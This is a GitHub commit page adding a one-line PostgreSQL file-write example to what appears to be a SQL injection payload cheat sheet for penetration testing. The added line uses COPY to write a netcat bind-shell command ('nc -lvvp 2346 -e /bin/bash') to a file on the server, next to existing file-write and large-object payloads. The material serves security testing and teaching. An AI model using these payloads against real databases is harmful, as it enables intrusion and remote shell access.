Skip to content

Commit

Permalink
Add a one line postgres file write
Browse files Browse the repository at this point in the history
  • Loading branch information
kazkansouh authored Jan 30, 2021
1 parent 092083a commit 8261309
Showing 1 changed file with 5 additions and 0 deletions.
5 changes: 5 additions & 0 deletions SQL Injection/PostgreSQL Injection.md
Original file line number Diff line number Diff line change
Expand Up @@ -184,6 +184,11 @@ SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';
```
Or as one line:
```sql
COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';
```
```sql
SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20
Expand Down

0 comments on commit 8261309

Please sign in to comment.